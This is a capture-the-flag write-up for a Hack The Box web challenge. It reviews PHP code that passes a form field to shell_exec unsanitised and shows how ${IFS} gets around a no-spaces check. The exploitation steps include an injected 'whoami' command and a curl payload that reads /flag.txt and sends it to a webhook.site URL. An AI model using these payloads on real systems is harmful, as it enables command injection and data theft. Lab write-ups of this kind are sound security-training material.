Void Whispers 🎃

Challenge description

In the dead of night, an eerie silence envelops the town, broken only by the faintest of echoes—whispers in the void. A phantom mailer is sending out silent commands, unseen and unheard, manipulating systems from the shadows. The townsfolk remain oblivious to the invisible puppeteer pulling their strings. Legends hint that sending the right silent message back could reveal hidden secrets. Can you tap into the darkness, craft the perfect unseen command, and shut down the malevolent force before it plunges the world into chaos?

Challenge overview

The challenge involves a web application that provides an interface to configure email settings. By exploiting vulnerabilities in the configuration functionality, we can gain unauthorized access to sensitive data.

Code review

IndexController.php

The updateSetting function handles updates to email configurations. It validates the sendMailPath parameter to ensure no spaces are present and verifies the binary's existence using the which command. If validation passes, the function updates the configuration file.

public function updateSetting($router)
{
    $from = $_POST['from'];
    $mailProgram = $_POST['mailProgram'];
    $sendMailPath = $_POST['sendMailPath'];
    $email = $_POST['email'];
    if (empty($from) || empty($mailProgram) || empty($sendMailPath) || empty($email)) {
        return $router->jsonify(['message' => 'All fields required!', 'status' => 'danger'], 400);
    }

    if (preg_match('/\s/', $sendMailPath)) { 
        return $router->jsonify(['message' => 'Sendmail path should not contain spaces!', 'status' => 'danger'], 400);
    }

    $whichOutput = shell_exec("which $sendMailPath"); 
    if (empty($whichOutput)) {
        return $router->jsonify(['message' => 'Binary does not exist!', 'status' => 'danger'], 400);
    }

    $this->config['from'] = $from;
    $this->config['mailProgram'] = $mailProgram;
    $this->config['sendMailPath'] = $sendMailPath;
    $this->config['email'] = $email;

    file_put_contents($this->configFile, json_encode($this->config));

    return $router->jsonify(['message' => 'Config updated successfully!', 'status' => 'success'], 200);
}

Vulnerabilities Identified

1. Space Validation Bypass The preg_match('/\s/', $sendMailPath) validation can be bypassed using ${IFS}, a shell variable representing a space character.

2. Command Injection The shell_exec("which $sendMailPath") function directly executes shell commands without sanitization. Injecting commands into the sendMailPath parameter allows arbitrary command execution.

Exploitation

Step 1: Space Validation Bypass

To bypass the preg_match validation for spaces, we use ${IFS} (Internal Field Separator) to represent spaces. For example:

/usr/sbin/sendmail;${IFS}whoami

This payload bypasses the space check and allows command injection.

Step 2: Command Injection

Using the command injection vulnerability, we can craft a payload to execute arbitrary commands. For instance, to retrieve the flag:

/usr/sbin/sendmail;curl${IFS}https://webhook.site/your-webhook-url?flag=$(cat${IFS}/flag.txt)

Explanation of Payload:

• /usr/sbin/sendmail: A valid command to pass initial validation.
• ;: Ends the first command and starts a new one.
• curl${IFS}https://webhook.site/your-webhook-url?flag=: Sends an HTTP request with the flag content.
• $(cat${IFS}/flag.txt): Reads the flag.txt file and appends its content to the flag parameter.

Step 3: Sending the Exploit

Set the sendMailPath parameter to the crafted payload and send the form. The application will execute the payload, sending the flag to the specified WebHook.

Step 4: Retrieving the Flag

Monitor your WebHook for incoming requests. The flag will appear in the request URL:

https://webhook.site/5ae0b38c-d624-49c7-8c83-eb3b56728f18?flag=HTB{f4k3_fl4g_f0r_t35t1ng}

With the fake flag retrieved, we can use the same technique to get the real flag on the HTB server.

Void Whispers has been Pwned!

References

• Filter Evasion in a REVERSE SHELL (no spaces!!) - John Hammond
• WebHook.site